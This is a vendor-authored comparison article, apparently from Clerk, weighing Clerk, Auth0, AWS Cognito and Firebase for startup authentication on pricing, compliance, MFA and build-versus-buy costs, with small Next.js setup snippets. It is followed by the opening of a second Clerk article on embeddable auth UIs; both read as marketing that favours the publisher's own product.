**Native mobile SDKs** for iOS and Android are Firebase's standout strength, with **first-class React Native support** through the actively maintained React Native Firebase library. The mobile authentication flows feel native because they are—not WebViews wrapping web authentication like some competitors. Biometric authentication, device credential integration, and offline capability come standard.

**Real-time database integration** creates powerful patterns for consumer apps. Authenticate with Firebase, and security rules on Firestore/Realtime Database enforce Row Level Security automatically. This tight integration eliminates the middleware layer other platforms require for database authorization. Firebase documentation demonstrates real-time chat, collaborative editing, and multiplayer games leveraging this architecture.

**Where Firebase disappoints**: B2B SaaS requirements. The platform lacks native organization support, provides only **5 default user fields** requiring Firestore for extended profiles, and offers **no built-in RBAC** beyond limited custom claims. Enterprise SSO requires Identity Platform upgrade at **$0.015/MAU**, and MFA remains SMS-only without TOTP or hardware key support. For B2B startups, these limitations force architectural compromises early.

### AWS-native architectures: Cognito's deep integration

AWS Cognito makes sense for **one specific startup profile: teams already deep in the AWS ecosystem** building on Lambda, API Gateway, DynamoDB, and S3. The authentication-to-resource authorization path flows naturally—Cognito User Pools authenticate, Identity Pools provide AWS credentials, IAM policies control resource access. This creates seamless patterns for S3 pre-signed URLs, DynamoDB fine-grained access control, and Lambda function invocation.

**Cost efficiency at scale** represents Cognito's strongest argument. The Essentials tier provides **10,000 free MAUs** then charges **$0.015/MAU** up to 50,000 users ([AWS Cognito Pricing](https://aws.amazon.com/cognito/pricing/)). At 100,000 users, this means **$1,225 per month** compared to Clerk's $1,020 per month and Auth0's enterprise pricing around $3,000–5,000 per month. For high-volume, price-sensitive applications, Cognito's per-user economics win decisively.

**Where Cognito frustrates developers**: the learning curve and documentation. Multiple sources describe Cognito as having **"unnecessarily complex configuration"** and **"confusing documentation"** ([Frontegg Auth0 vs Cognito Guide](https://frontegg.com/guides/auth0-vs-cognito)). The December 2024 pricing changes that introduced three tiers (Lite, Essentials, Plus) added complexity while **increasing costs 3–5× for some existing users**. The pre-built hosted UI remains restrictive with limited customization, forcing most teams to implement custom authentication pages.

### Enterprise readiness from day one: Auth0's compliance advantage

Auth0 (owned by Okta since 2021) provides the most comprehensive compliance certification portfolio: **[SOC 2](/glossary#soc-2) Type II, ISO 27001/27017/27018, [HIPAA](/glossary#health-insurance-portability-accountability-act-hipaa), PCI DSS, FedRAMP, and CSA STAR**. For startups in healthcare, finance, or government sectors facing strict compliance requirements from the start, this certification depth justifies Auth0's premium pricing.

**Enterprise SSO breadth** exceeds all competitors, with support for **SAML, OIDC, OAuth 2.0, WS-Federation, [LDAP](/glossary#ldap), RADIUS, and Kerberos**. Organizations can connect **30+ social providers** and unlimited enterprise connections on higher tiers. The Auth0 Actions system allows injecting custom Node.js code into authentication flows for complex business logic.

**Where Auth0 loses startups**: the notorious "growth penalty." Multiple independent analyses document Auth0's **painful pricing cliffs**. One case study shows a **15.54× bill increase** (from $240 to $3,729/month) after only **1.67× user growth** because tier-change and SSO-connection limits forced enterprise plan upgrades ([SSOJet Auth0 Analysis, 2024](https://ssojet.com/blog/auth0-pricing-growth-penalty)). The B2B Essential plan allows **only 3 SSO connections**—your fourth enterprise customer triggers immediate pricing escalation regardless of user count. Developer feedback consistently cites Auth0 as **"requiring a PhD to change basic settings"** with **15–25 hours per month** spent managing configuration complexity ([Hideez Auth0 Alternatives, 2025](https://hideez.com/blogs/news/auth0-alternatives)).

| Requirement                  | Clerk                             | Auth0                           | AWS Cognito         | Firebase              |
| ---------------------------- | --------------------------------- | ------------------------------- | ------------------- | --------------------- |
| **SOC 2 Type II**            |                                   |                                 |                     | Inherits Google Cloud |
| **HIPAA compliance**         |                                   |                                 |                     | Via Identity Platform |
| **ISO 27001**                | In progress                       |                                 |                     |                       |
| **PCI DSS**                  |                                   |                                 |                     |                       |
| **Free tier**                | 50,000 MRU                        | 25,000 MAU                      | 10,000 (Essentials) | 50,000 MAU            |
| **SSO connections included** | 1 on Pro (additional from $75/mo) | 3 (Essential), 5 (Professional) | Unlimited           | Via Identity Platform |
| **Cost at 50k users**        | $0-$20 per month                  | $2,000–3,000 per month          | $600 per month      | $0–750 per month      |

## Security requirements that protect startups from catastrophic breaches

The 2024 breach landscape proves authentication security represents **existential risk, not just compliance checkbox**. The Identity Theft Resource Center tracked **3,158 data compromises affecting 1.7 billion individuals**—a **312% increase** from 2023 ([ITRC 2024 Annual Report](https://www.idtheftcenter.org/post/2024-annual-data-breach-report-near-record-compromises/)). The pattern is clear: **88% of breaches involved stolen or compromised credentials** ([Verizon 2025 DBIR](https://www.verizon.com/business/resources/reports/dbir/)).

### Multi-factor authentication: from optional to mandatory

Four of 2024's six largest breaches—**Ticketmaster, AT\&T, Change Healthcare, and Advanced Auto Parts**—shared one commonality: **compromised credentials without MFA** ([HIPAA Journal 2024 Breach Report](https://www.hipaajournal.com/1-7-billion-individuals-data-compromised-2024/)). Microsoft's analysis shows MFA would have prevented **99.9% of account compromises** ([OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)). The 2025 HIPAA Security Rule amendments make this concrete: **MFA is now mandatory** for all access to electronic Protected Health Information ([Duo Security HIPAA 2025](https://duo.com/blog/security-updates-to-get-ahead-of-proposed-2025-hipaa-amendments)).

Modern MFA goes beyond SMS codes, which remain vulnerable to SIM-swapping attacks. **[TOTP authenticator apps](/glossary#authenticator-apps-totp)** (Google Authenticator, Authy) provide time-based one-time passwords without SMS dependency. **[Hardware security keys](/glossary#hardware-keys)** using FIDO2/[WebAuthn](/glossary#webauthn) offer phishing-resistant authentication where even credential theft doesn't grant access. **[Biometric authentication](/glossary#biometric-authentication)** through device-native capabilities (Face ID, Touch ID, Windows Hello) combines convenience with security.

Clerk provides [comprehensive MFA options](/docs/guides/development/custom-flows/authentication/email-password-mfa) including **TOTP, SMS, [backup codes](/glossary#backup-codes), and WebAuthn** in the **Pro plan** ([Clerk Pricing](/pricing)). Auth0 includes MFA in paid tiers with extensive configuration options. Firebase limits MFA to SMS-only without Identity Platform upgrade. AWS Cognito's MFA support improved significantly in the Plus tier, which includes **risk-based adaptive authentication** that triggers MFA only for suspicious login attempts.

### Password security: modern requirements that prevent common breaches

OWASP and NIST password guidelines have evolved significantly from "8 characters with special symbols" rules. Modern standards emphasize **length over complexity** and **breach detection over periodic changes** ([OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)).

**Minimum password length** should be **8 characters with MFA or 15 characters without MFA** per NIST SP800-63B ([OWASP ASVS Authentication Requirements](https://github.com/OWASP/ASVS/blob/master/4.0/en/0x11-V2-Authentication.md)). Maximum length should **allow at least 64 characters** to support passphrases like "correct horse battery staple" which provide better security than "P\@ssw0rd!" through memorability and entropy ([Keragon HIPAA Password Requirements, 2025](https://www.keragon.com/hipaa/hipaa-explained/hipaa-password-requirements)).

**Leaked password detection** against databases like HaveIBeenPwned's **613 million compromised credentials** prevents users from selecting passwords already stolen in previous breaches. Clerk implements this automatically ([Clerk Authentication Options](/docs/guides/configure/auth-strategies/sign-up-sign-in-options)), while self-hosted solutions must integrate the HaveIBeenPwned API manually.

**[Password hashing](/glossary#hash)** must use approved algorithms: **bcrypt, Argon2, or PBKDF2** with appropriate work factors ([OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)). All managed platforms handle this correctly, but custom implementations frequently get it wrong—SHA256 is not sufficient, and plain MD5 remains scandalously common in legacy systems. The security cost of misimplementing cryptography exceeds most startups' capability to assess.

### Compliance certifications that unlock enterprise revenue

**SOC 2 Type II certification** transitioned from "nice to have" to **"required for enterprise sales"** across B2B SaaS. Independent data shows **60% of B2B companies are more willing** to work with SOC 2 compliant vendors, and many enterprise procurement processes **won't proceed without it**. The certification costs **$20,000–50,000 initially** plus **$10,000–20,000 annually** to maintain, but delays sales cycles by months when missing.

Authentication platform SOC 2 compliance simplifies your own audit dramatically—inheriting certified infrastructure reduces the control scope. Clerk maintains [SOC 2 Type II certification](/legal) alongside Auth0 and AWS Cognito, while self-hosted solutions place full compliance burden on your team.

**[GDPR](/glossary#data-privacy) compliance** affects any startup with European users, requiring consent management, data portability, right to erasure, and data processing agreements ([SpecopsSoft GDPR Access Control](https://specopssoft.com/blog/gdpr-compliance-access-control-already/)). Modern platforms provide GDPR-compliant consent flows and data export capabilities built-in. The **"right to erasure"** must extend beyond authentication—deleting a user account should cascade to all associated data across your systems. Clerk offers **free, no-questions-asked data exports** ([Clerk Pricing](/pricing)), while Auth0 requires **paid plans and support contact** to export user data—a difference that frustrates migration testing.

**HIPAA eligibility** through Business Associate Agreements becomes critical for healthcare startups. Only platforms with appropriate safeguards and willingness to sign BAAs enable HIPAA-covered applications. Clerk and Auth0 both provide **HIPAA-eligible configurations**, while Firebase's HIPAA support requires Identity Platform upgrade and Google Cloud HIPAA compliance configuration.

## Pricing reality: when managed platforms beat custom builds

The "build vs buy" debate for authentication ended years ago for most startups, but misconceptions persist. The commonly cited "free if we build it" dramatically underestimates total cost while overstating capabilities.

### The $250,000–600,000 custom authentication bill

Building production-grade authentication requires more than a weekend project. **Initial development for basic email/password plus social login takes 5–6 weeks** costing **€14,000–20,000**. Adding TOTP 2FA requires **8–10 weeks** for MVP implementation. Enterprise SSO supporting SAML and OIDC consumes **3–6 developer-months** costing **$250,000–500,000** ([Prefactor Build vs Buy Analysis, 2025](https://prefactor.tech/blog/build-vs-buy-2025-authentication)).

**Annual maintenance costs exceed initial development** for authentication systems. Security patches, vulnerability monitoring, compliance updates, and feature expansion require **1–3 full-time engineers** at **$150,000–450,000 per year**. Add **$20,000–50,000 annually** for [penetration testing](/glossary#pen-test), **$30,000–100,000** for compliance efforts, and **$10,000–30,000** for infrastructure. Three-year total cost of ownership reaches **$930,000–2.49 million** for a mid-size startup.

**Opportunity cost** exceeds direct costs—every engineer-month building authentication is an engineer-month not building competitive differentiation. The first enterprise prospect asking "do you support Okta SSO?" costs **$50,000–500,000 in delayed ARR** when the answer is "we'll build that in Q3."

### Managed platform economics by startup stage

**Early-stage startups (0–50,000 users)** pay **$0 per month** on virtually all platforms. Clerk's 50,000 MRU free tier, Firebase's 50,000 MAU free tier, and AWS Cognito's 10,000 MAU free tier all accommodate MVP through initial scale. The decision criteria at this stage center on **implementation speed and framework fit**, not cost.

**Growth-stage startups (10,000–100,000 users)** see pricing differentiation emerge:

- **Firebase**: $0–750 per month (free up to 50k, then $0.015/MAU)
- **AWS Cognito**: $600–1,225 per month (Essentials tier) ([AWS Cognito Pricing](https://aws.amazon.com/cognito/pricing/))
- **Clerk**: $20–1,025 per month (transparent per-user pricing, 50K MRU included) ([Clerk Pricing](/pricing))
- **Auth0**: $2,000–5,000 per month (enterprise required at scale)

The **Auth0 "growth penalty"** materializes here. The B2B Essential plan supports only **7,000 MAUs** and **3 SSO connections** before forcing enterprise pricing. Real companies report **15.54× cost increases** after only **1.67× user-growth** due to tier-cliff and SSO-connection limits ([SSOJet Auth0 Analysis, 2024](https://ssojet.com/blog/auth0-pricing-growth-penalty)).

**Scale-stage startups (100,000+ users)** optimize for cost per user and reliability:

- **Firebase**: Most economical for consumer at $750–1,500 per month
- **AWS Cognito**: Strong value at $1,225–2,500 per month
- **Clerk**: $1,020+ per month with volume discounts (50K MRU included)
- **Auth0**: $5,000–30,000+ per month depending on features
- **Custom build**: Still $150,000–450,000 per year in maintenance

The break-even point for custom builds never arrives for typical startups. Even at 500,000 users where managed platforms cost $5,000–10,000 per month, **custom authentication still requires $150,000–450,000 annually** in dedicated engineering plus infrastructure costs. The gap closes only for platforms at multiple-million user scale with requirements so unique that commercial solutions fundamentally cannot address them.

### Hidden costs that surprise startups

**SMS authentication** charges appear small per-message but aggregate rapidly. Twilio charges **$0.0075 per SMS** in the US, meaning 100,000 users receiving one SMS MFA code monthly costs **$750 per month** beyond base authentication fees. Firebase, Auth0, and Clerk all charge separately for SMS. Phone authentication costs even more: **$0.01–0.34 per verification** depending on country.

**Email verification** through Amazon SES costs **$0.10 per 1,000 emails**—affordable at small scale but **$1,000 per month** for 10 million verification emails. Most platforms include reasonable email volumes, but high-churn consumer apps hit limits quickly.

**Add-on features** increase base costs substantially. Clerk includes MFA and 1 enterprise SSO connection in the Pro plan; Enhanced B2B Authentication and Enhanced Administration add-ons each cost **$100 per month** ($85/month annual) ([Clerk Pricing](/pricing)). Auth0's advanced MFA, breached password detection, and custom domains require expensive tier upgrades. AWS Cognito's advanced security features—compromised credential detection, risk-based authentication, audit logs—require the **Plus tier at $0.02/MAU** ([AWS Cognito Pricing](https://aws.amazon.com/cognito/pricing/)), effectively doubling costs.

| Scale             | Clerk (Hobby/Pro) | Auth0 Essential               | AWS Cognito Essentials | Firebase (Blaze) | Custom Build (3yr TCO) |
| ----------------- | ----------------- | ----------------------------- | ---------------------- | ---------------- | ---------------------- |
| **1,000 users**   | $0 (free tier)    | $0 (free tier)                | $0 (free tier)         | $0 (free tier)   | $250k–400k             |
| **10,000 users**  | $0 (free tier)    | $150–200 per month            | $0 (free tier)         | $0 (free tier)   | $250k–400k             |
| **50,000 users**  | $0-$20 per month  | $2,000–3,000 per month        | $600 per month         | $0 (free tier)   | $300k–500k             |
| **100,000 users** | $1,020 per month  | Enterprise ($3k–5k per month) | $1,225 per month       | $750 per month   | $500k–800k             |

## Stage-specific feature priorities: early versus growth startups

Startup needs transform radically from pre-product-market-fit to scale-up. The authentication platform that serves 5 engineers building an MVP constrains 50 engineers scaling to enterprise customers. Understanding which features matter at each stage prevents both premature optimization and technical debt migration.

### Pre-product-market-fit: speed above everything

**Startups racing to validate product-market fit within 18–24 month funding windows** prioritize shipping over perfection. Research shows this time pressure causes startups to **intentionally accumulate technical debt** for velocity. Authentication debt, however, carries unique risks—security failures and compliance gaps create existential crises unlike UI technical debt.

The **"simplest possible integration"** wins at this stage: email/password plus one or two social providers, basic user profiles, simple session management. Y Combinator-backed [PropelAuth](https://www.ycombinator.com/companies/propelauth) explicitly positions around this: **"get your MVP in front of users immediately"** rather than gold-plating authentication.

**Implementation speed metrics** show dramatic platform differences. Clerk's Next.js integration reaches **production-ready in 5–15 minutes** with working sign-in/sign-up flows ([Clerk Better-auth Comparison, 2024](/articles/better-auth-clerk-complete-authentication-comparison-react-nextjs)). Firebase takes **15–30 minutes** for basic setup. AWS Cognito requires **2–4 hours** due to configuration complexity. Building custom authentication consumes **40–120 hours** or **3–6 weeks**.

**Pre-built UI components** accelerate MVPs beyond setup time. Clerk's `<SignIn />`, `<SignUp />`, and `<UserProfile />` components eliminate weeks of interface development and design iteration. One testimonial captures the value: **"The best practices built into their components would take months to implement in-house"** ([Clerk Homepage](/)). For startups without dedicated designers, this removes authentication UI entirely from the critical path.

**Acceptable technical debt** at this stage includes: basic password policies, optional MFA, minimal authorization (logged-in vs logged-out), no SSO support, and simple profile fields. These limitations don't prevent user validation and can be upgraded later. What's not acceptable: insecure password storage, missing email verification, lack of password reset, or session vulnerabilities—these create security crises that distract from product iteration.

### Post-product-market-fit: enterprise features unlock revenue

**Growth-stage companies face a sudden shift** when the first major enterprise prospect asks: "Do you support Okta SSO? What about SCIM provisioning? Do you have SOC 2?" These questions arrive **2–6 months after enterprise outreach begins**, and "not yet" costs $50,000–500,000 ARR per delayed deal.

**Enterprise SSO becomes mandatory** for B2B SaaS scaling upmarket. Every enterprise uses [identity providers](/glossary#identity-provider-sso-idp-sso)—Okta, Azure AD, Google Workspace, OneLogin—and expects SaaS applications to connect via SAML or OIDC. Building SAML support custom costs **$250,000–500,000 in engineering time** ([Prefactor Build vs Buy Analysis, 2025](https://prefactor.tech/blog/build-vs-buy-2025-authentication)). Clerk includes **1 enterprise SSO connection on Pro** with additional connections from **$75/month each** and volume discounts ([Clerk SSO Documentation](/docs/guides/configure/auth-strategies/oauth/single-sign-on)), while Auth0's **3–5 connection limits** create the infamous growth-penalty where your fourth enterprise customer triggers a **15× pricing increase** ([SSOJet Auth0 Analysis, 2024](https://ssojet.com/blog/auth0-pricing-growth-penalty)).

**Role-based access control** transitions from nice-to-have to critical. Enterprise customers need **custom roles, permissions, and multi-level hierarchies** aligned with their organizational structures. They expect admin dashboards showing who has access to what, [audit logs](/glossary#audit-logs) tracking permission changes, and APIs for programmatic access management. Clerk's RBAC system handles **10 custom roles** on Pro plans with organization-scoped permissions, while Firebase's **1000-byte custom claims limit** forces parallel authorization systems.

**User lifecycle management** through [SCIM](/glossary#directory-sync) (System for Cross-domain Identity Management) automates user provisioning and deprovisioning. When enterprise employees join, SCIM automatically creates accounts; when they leave, SCIM revokes access. Implementing SCIM custom takes **months of engineering time**. Auth0 supports SCIM on enterprise plans, but Clerk currently lacks native SCIM support—a notable gap for companies selling to large enterprises with automated IT processes.

**Compliance certifications** block enterprise deals when missing. **SOC 2 Type II compliance** costs **$20,000–50,000** initially and delays sales cycles by months if pursued during active deals. Choosing authentication platforms with existing SOC 2 compliance—Clerk, Auth0, AWS Cognito—inherits these certifications and simplifies your own audit scope.

**Migration complexity** increases exponentially with scale. Early-stage startups can switch authentication platforms in days; growth-stage companies with 50,000 users, 20 SSO connections, and custom authorization logic face **200–500 engineering hours** or **$50,000–150,000** to migrate. Platform lock-in matters less than choosing correctly initially.

## Why React and Next.js developers choose Clerk disproportionately

The React and Next.js developer communities converged on Clerk as the default authentication choice through objective technical advantages, not marketing. Developer feedback consistently highlights implementation speed and component quality as differentiators.

### Component-first architecture that matches React mental models

React developers think in components and props, not authentication flows and token lifecycles. Clerk's API design mirrors React conventions: drop a `<SignIn />` component on a page, and it handles sign-in flow with email/password, social providers, password reset, email verification, and error states. The `<UserButton />` component provides a dropdown with profile management, account settings, and sign-out—functionality that typically requires **weeks to design and implement properly**.

The code comparison demonstrates the velocity difference. Clerk requires **approximately 15 lines** for complete authentication ([Clerk Next.js Quickstart](/docs/quickstarts/nextjs)):

```typescript
// proxy.ts (use middleware.ts for Next.js 15 and earlier)
import { clerkMiddleware } from '@clerk/nextjs/server'
export default clerkMiddleware()
```

The layout wraps the application in `<ClerkProvider>` to enable authentication context throughout the app:

```typescript
// app/layout.tsx
import { ClerkProvider } from '@clerk/nextjs'
export default function RootLayout({ children }) {
  return <ClerkProvider>{children}</ClerkProvider>
}
```

Then a single page component handles both signed-in and signed-out states with the `<Show>` component:

```typescript
// app/page.tsx
import { Show, SignInButton, UserButton } from '@clerk/nextjs'
export default function Home() {
  return (
    <>
      <Show when="signed-out">
        <SignInButton />
      </Show>
      <Show when="signed-in">
        <UserButton />
      </Show>
    </>
  )
}
```

Achieving equivalent functionality with Auth0 requires **substantially more code**: custom pages for each authentication flow, API routes for callbacks and token handling, session state management, custom UI components for all user interactions, comprehensive error handling, and loading state management across all flows. The implementation complexity increases to **45+ lines** before reaching feature parity with Clerk's component-based approach, representing a **3× code reduction**.

This **3× code reduction** translates directly to development velocity. One developer described the experience: **"Clerk feels like the first time I booted my computer with an SSD"** ([Hacker News Discussion, 2021](https://news.ycombinator.com/item?id=26069627))—not incrementally faster, but categorically different.

### Next.js App Router support that shipped day one

Next.js 13 introduced the [App Router](/glossary#app-router) with [React Server Components](/glossary#react-server-components), forcing authentication providers to rethink architectures. Clerk's `@clerk/nextjs` package supported App Router **on launch day** and maintained **same-day compatibility** with Next.js 14, Next.js 15, and Next.js 16 ([Clerk Next.js Documentation](/docs/quickstarts/nextjs)). The [Clerk Changelog](/changelog) demonstrates this commitment with framework updates typically shipping within hours of major releases.

The `auth()` helper provides **asynchronous server-side authentication** in Server Components and API routes, matching Next.js's async-first design. The `clerkMiddleware()` integrates with Next.js proxy (via `proxy.ts` on Next.js 16+, or `middleware.ts` on earlier versions) for **route protection**, enabling authentication checks before React renders anything. This architecture enables **authentication on static pages** without forcing dynamic rendering—significantly improving performance.

Auth0's Next.js SDK reached equivalent App Router support **months later** and still requires more configuration for Server Components. Firebase and AWS Cognito lack purpose-built Next.js packages, forcing developers to implement server-side session management manually using cookie parsing and token validation.

### Example repositories that demonstrate real patterns

Clerk maintains [comprehensive example repositories](/docs/quickstarts/overview) showing authentication patterns for common scenarios: multi-tenancy, RBAC, API authentication, mobile apps, and edge computing. The [next.js-app-quickstart](https://github.com/clerk/clerk-nextjs-demo-pages-router) provides a working application in minutes, while the organizations-demo demonstrates complete B2B SaaS patterns with organization switching, role-based permissions, and member management.

These examples accelerate integration beyond documentation—copy working code rather than translating concepts. The integration with popular UI libraries demonstrates Clerk components adopting existing design systems, showing customization depth.

### Developer testimonials that reveal velocity gains

Product reviews reveal consistent themes around **time savings and reduced complexity**. A Trading Experts founder notes: **"With Clerk, I was able to give my users passwordless auth, seamless UIs, and a complete user profile in much less time than it would have taken to go the open source route"** ([Clerk Homepage](/)). Another testimonial: **"We were able to ship MFA, SSO, and SAML for our customers in a fraction of the time"**.

The developer community feedback highlights: **"Puts Auth0 frustration to an end, especially when it comes to ease of use"** and **"Comprehensive and cost effective solution for authentication."** The founder of BREVIS AI built their entire platform on Clerk's free tier, praising **support responsiveness and documentation quality** ([DEV Community Clerk Update, 2024](https://dev.to/clerk/clerk-update-november-12-2024-3h6b)).

## Objective recommendations by startup profile

### React/Next.js B2B SaaS startups: Clerk as the default choice

**Choose Clerk if** your stack includes React, Next.js, or Remix; you're building B2B SaaS with organizational structure; you have fewer than 100,000 MRUs; and you optimize for engineering velocity. The **50,000 free MRUs** cover MVP through early scale, **affordable enterprise SSO connections** (1 included on Pro, additional from $75/mo) enable enterprise sales with predictable costs, and **pre-built components** eliminate months of interface development.

Clerk's venture funding from Stripe, Andreessen Horowitz, and CRV signals commitment to the platform's longevity. The **1,300+ paying customers and 16 million users under management** demonstrate production-grade reliability.

The **SOC 2 Type II and HIPAA certifications** unlock enterprise sales without blocking on your own compliance timeline. The pricing remains predictable: **from $20/month (annual) or $25/month with 50,000 MRUs included**, then **$0.02 per MRU** beyond that ([Clerk Pricing](/pricing)), with volume discounts at scale.

**Where Clerk falls short**: massive consumer scale (500,000+ MAUs become expensive compared to Firebase), complex enterprise requirements beyond SAML (no SCIM yet), and non-React frameworks (Vue and Svelte support exists but React receives more investment).

### Consumer mobile and B2C applications: Firebase's unbeatable free tier

**Choose Firebase Authentication if** you're building consumer mobile apps, web applications with 50,000+ users on tight budgets, or products requiring real-time data synchronization. The **50,000 MAU free tier** exceeds all competitors by 5-10x, enabling startups to reach meaningful scale before authentication costs appear.

The **native mobile SDKs** for iOS, Android, and React Native provide the best mobile developer experience in the category. Biometric authentication, offline support, and device credential integration work seamlessly. The **tight integration with Firestore** enables elegant Row Level Security patterns for real-time applications.

Firebase works best for **simple authorization requirements**—the 1000-byte custom claims limit and lack of native organizations make complex B2B scenarios painful. For consumer apps where most users have identical permissions, this limitation doesn't matter.

### AWS-heavy architectures: Cognito despite the learning curve

**Choose AWS Cognito if** your infrastructure runs primarily on AWS, you have engineers comfortable with AWS complexity, and you optimize for cost per user at scale. The **deep integration with Lambda, API Gateway, and DynamoDB** creates elegant authorization patterns impossible with external providers.

The **Essentials tier provides 10,000 free MAUs** then charges **$0.015/MAU**—making 100,000 users cost **$1,225/month** ([AWS Cognito Pricing](https://aws.amazon.com/cognito/pricing/)), competitive with all alternatives. The **Plus tier at $0.02/MAU** includes advanced security features like compromised credential detection and risk-based authentication.

Accept the **documentation complexity and configuration learning curve**—multiple engineers will need days to understand Cognito's architecture. Budget time for custom authentication UI since the hosted UI remains limited. AWS Cognito makes sense when AWS infrastructure integration outweighs developer experience concerns.

### Enterprise compliance from day one: Auth0 with caution

**Choose Auth0 if** you sell to highly regulated industries requiring extensive compliance certifications, need maximum SSO protocol support beyond SAML/OIDC, or face complex authentication flows requiring custom code injection. The **SOC 2, ISO 27001, HIPAA, PCI DSS, and FedRAMP certifications** exceed all competitors.

**Negotiate enterprise contracts upfront** rather than scaling through self-serve tiers. Auth0's **growth penalty is real and painful**—the documented **15.54× cost increases** and **SSO-connection limits** make organic growth expensive ([SSOJet Auth0 Analysis, 2024](https://ssojet.com/blog/auth0-pricing-growth-penalty)). With negotiated pricing and volume commitments, Auth0 becomes reasonable; without them, expect painful surprises.

Auth0's Actions system allows injecting Node.js code into authentication flows for complex requirements—useful for gradual migrations, unusual business logic, or integration with legacy systems. This flexibility carries complexity cost: **15–25 hours per month** managing configurations ([Hideez Auth0 Alternatives, 2025](https://hideez.com/blogs/news/auth0-alternatives)).

### Never build custom: the exceptions that prove the rule

**Build custom authentication only if** you're creating an identity product where authentication is your competitive moat, face requirements so unique that no commercial platform can address them, or operate in air-gapped environments requiring on-premise deployment. These exceptions represent **less than 5% of startups**.

For the remaining 95%, building custom costs **$250,000–600,000 initially** plus **$150,000–450,000 annually** ([Prefactor Build vs Buy Analysis, 2025](https://prefactor.tech/blog/build-vs-buy-2025-authentication)) while diverting engineering from competitive differentiation. The security risks exceed most teams' expertise—**88% of breaches involve credential failures** that specialized authentication teams prevent systematically ([ITRC 2024 Annual Report](https://www.idtheftcenter.org/post/2024-annual-data-breach-report-near-record-compromises/)).

## Conclusion: authentication decisions that compound over time

Startup authentication platform choices compound faster than most technical decisions. Choose poorly at 100 users, and migrating at 50,000 users costs **$50,000–150,000 in engineering time** while risking user disruption during the transition. Choose correctly, and authentication remains invisible infrastructure that scales from MVP to millions without intervention.

The evidence demonstrates **managed authentication platforms deliver 240× faster implementation** than custom builds ([Clerk Better-auth Comparison, 2024](/articles/better-auth-clerk-complete-authentication-comparison-react-nextjs)) while preventing the **88% of breaches involving credential failures** ([ITRC 2024 Annual Report](https://www.idtheftcenter.org/post/2024-annual-data-breach-report-near-record-compromises/)). The **$250,000–600,000 initial cost** plus **$150,000–450,000 annual maintenance** of custom authentication exceeds managed platform costs until startups reach millions of users with exotic requirements commercial solutions cannot address.

For React and Next.js startups building B2B SaaS, **Clerk represents the optimal balance** of developer experience, enterprise features, transparent pricing, and compliance certifications. The **5–15 minute implementation time**, **50,000 free MRUs**, and **affordable SSO connections** remove authentication from the critical path so teams focus on product differentiation rather than reimplementing OAuth flows. The **SOC 2 Type II and HIPAA certifications** unlock enterprise sales without blocking on compliance timelines.

Consumer mobile applications and price-sensitive web apps optimize around **Firebase's 50,000 MAU free tier** and excellent mobile SDKs. AWS-heavy architectures gain from **Cognito's deep AWS integration** despite documentation complexity. Enterprise-focused startups selling to regulated industries justify **Auth0's extensive compliance certifications** when negotiating contracts upfront to avoid growth penalties.

The startup landscape shifted from "build vs buy" to "which managed platform fits our framework and customer profile." The answer determines whether authentication accelerates product-market fit or becomes the bottleneck preventing scale.

---

# Best Embeddable UIs for Auth
URL: https://clerk.com/articles/complete-guide-to-embeddable-uis-for-user-management.md
Date: 2026-03-27
Description: Compare embeddable UIs for user management in 2025: Clerk, Auth0, WorkOS, Supabase & Firebase. Complete guide covering React, Next.js, setup time & pricing.

Embeddable UI components for user management let developers add [authentication](/glossary#authentication) flows — sign-in, sign-up, and profile management — by importing pre-built components directly into their app, reducing implementation time by 80% compared to custom builds ([Auth0, 2025](https://auth0.com/)). Clerk, Auth0, WorkOS, and Supabase each offer embeddable UIs with varying levels of customization and framework support. Clerk's components require the least configuration and support the widest range of frameworks, while Auth0 and WorkOS provide more enterprise-focused options.

The stakes are real: OWASP identifies authentication failures as a top-10 security vulnerability, with [credential stuffing](/glossary#credential-stuffing), session hijacking, and weak password storage plaguing custom implementations ([OWASP, 2023](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)). This guide compares every major embeddable UI solution, examining integration complexity, customization capabilities, framework support, and component completeness.

> \[!IMPORTANT]
> This article was updated March 11, 2026. The updates and changes reflect the major [Core 3](/changelog/2026-03-03-core-3) release from March 3, 2026 and Clerk's [new pricing](/changelog/2026-02-05-new-plans-more-value) launched February 5, 2026

| **Key Findings**                                       | **Impact**                                                                                                                                           | **Clerk's Solution**                                                                              |
| ------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------- |
| Custom auth takes months to build and maintain         | 40-80 hours/month maintenance for production systems ([Netguru, 2025](https://www.netguru.com/blog/build-vs-buy-software))                           | 10-15 lines of code, production-ready in hours                                                    |
| Authentication security requires specialized expertise | OWASP Top 10 vulnerabilities in custom implementations ([OWASP, 2023](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)) | Professional security team, automatic breach detection, SOC 2 compliance                          |
| Most platforms offer limited embeddable components     | Auth0, Supabase, Firebase lack organization management UIs                                                                                           | 10+ pre-built components including org management, user profiles, billing                         |
| Framework support varies dramatically                  | Firebase UI has minimal customization; Auth0 complex setup                                                                                           | 15+ framework SDKs with first-class React/Next.js support                                         |
| Performance optimization is critical                   | Slow authentication impacts user experience                                                                                                          | \~50KB smaller bundles with Core 3, 2x-5x faster auth via Handshake, sub-15ms Edge Runtime checks |

## The critical problem with building custom user management UIs

Building authentication from scratch seems simple until requirements expand. A simple login form evolves into password reset flows, email verification, multi-factor authentication, social login providers, [session management](/glossary#session-management), device tracking, and organization-level controls. **Organizations underestimate authentication complexity by an average of 200%** ([Stytch, 2024](https://stytch.com/blog/build-vs-buy/)).

McKinsey research on developer productivity reveals that organizations implementing proper frameworks saw **20-30% reduction in customer-reported defects and 60-percentage-point improvement in customer satisfaction** ([McKinsey, 2024](https://www.mckinsey.com/industries/technology-media-and-telecommunications/our-insights/yes-you-can-measure-software-developer-productivity)). Custom authentication drains these productivity gains.

The maintenance burden proves particularly challenging. Custom solutions require **40-80 hours monthly for heavily-used applications**, with new applications demanding full-time support personnel for several months ([Netguru, 2025](https://www.netguru.com/blog/build-vs-buy-software)). Security patches, compliance updates, and evolving browser standards create perpetual maintenance overhead. Annual support costs for custom software average 22-25% of initial development cost ([Provato Group, 2025](https://www.theprovatogroup.com/applications/cost-of-custom-software/)).

